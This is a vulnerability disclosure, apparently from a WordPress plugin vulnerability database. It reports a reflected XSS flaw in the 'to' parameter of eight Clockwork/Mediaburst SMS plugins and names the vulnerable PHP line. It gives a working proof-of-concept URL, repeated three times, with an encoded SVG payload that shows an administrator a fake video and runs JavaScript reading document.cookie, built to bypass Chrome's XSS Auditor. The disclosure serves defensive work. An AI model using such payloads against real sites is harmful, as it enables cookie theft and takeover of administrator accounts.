WordPress Plugin Vulnerabilities

Multiple Mediaburst/Clockwork Plugins - Cross-Site Scripting (XSS)

Description

Reflected XSS via GET parameter "to".

Vulnerable Plugins:

------------------------------------------
1. Clockwork Free and Paid SMS Notifications
URL: https://wordpress.org/plugins/mediaburst-email-to-sms/
Version 2.0.3 | By Clockwork

2. Two-Factor Authentication - Clockwork SMS
URL: https://wordpress.org/plugins/clockwork-two-factor-authentication/
Version 1.0.2 | By Clockwork

3. Booking Calendar - Clockwork SMS
URL: https://wordpress.org/plugins/booking-sms/
Version 1.0.5 |By Mediaburst

4. Contact Form 7 - Clockwork SMS
URL: https://wordpress.org/plugins/contact-form-7-sms-addon/
Version 2.3.0 |By Mediaburst

5. Fast Secure Contact Form - Clockwork SMS
URL: https://wordpress.org/plugins/fscf-sms/
Version 2.1.2|By Mediaburst

6. Formidable - Clockwork SMS
URL: https://wordpress.org/plugins/formidable-sms/
Version 1.0.2|By Mediaburst

7. Gravity Forms - Clockwork SMS
URL: https://wordpress.org/plugins/gravity-forms-sms-notifications/
Version 2.2 |By Mediaburst

8. WP e-Commerce - Clockwork SMS
URL: https://wordpress.org/plugins/mediaburst-ecommerce-sms-notifications/
Version 2.0.5 | By Mediaburst

The vulnerability lies in the "to" parameter and can cause reflected XSS vulnerability.

The issue is on the file plugins/clockwork-two-factor-authentication/templates/clockwork-test-message.php line 11:

<p>You should now have received a text message to <?php print $_GET['to']; ?>. If you have not received this, copy and paste the contents of the textbox below into a support request.</p>

the vulnerable code is the following:
print $_GET['to'];

There is a print of the variable "to", which can be controlled by the user. This leads to reflected XSS vulnerability.

The vulnerability can be exploited against an administrator by using the following url:

http://victim/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

A logged in Administrator, who will click on the above link, he will introduced with a video picture. When he will click the video, the javascript code (an alert box for this poc) will be executed.

In this case, the javascript code is just an alert box with the cookie, however any kind of malicious javascript code can be used.

Reproduce:

1. Login to your wordpress as an admin.
2. Access the following link:

http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

3. You should see the fake video.
4. Click to see the video.
5. The alert box should be executed.

I used this kind of payload in order to bypass the Chrome XSS Auditor.

Update on 12 Nov:
This payload does not work anymore with Chrome. You can validate the issue from the source code or dynamicaly by altering the payload.

Environment:

The vulnerability has been tested against:

Two-Factor Authentication - Clockwork SMS Version: 1.0.2
WordPress 4.8.3 running Twenty Seventeen theme.
Chrome Version 61.0.3163.100 (Official Build) (64-bit)

Note: The dynamic analysis (PoC) has been performed against the "Two-Factor Authentication - Clockwork SMS" . However, the file clockwork-test-message.php with the vulnerable code in line 11 , exists in every of the 8 aforementioned plugins.

Timeline:

2 Nov 2017: Initial Contact with the vendor.
2 Nov 2017: Response from the vendor which provided different contact details.
2 Nov 2017: Contact with the vendor.
7 Nov 2017: Contact with wordpress (plugins@wordpress.org).
8 Nov 2017: Wordpress acknowledges the issue and closes the plugins (preventing new downloads).
21 Nov 2017: Vendor acknowledges.
12 Dec 2017: Vendor releases updated version.

Proof of Concept

http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Submitter
Dimopoulos Elias
Submitter twitter
Verified
No

Timeline

Publicly Published
2017-12-14 (about 6 years ago)
Added
2017-12-19 (about 6 years ago)
Last Updated
2020-09-22 (about 3 years ago)

Other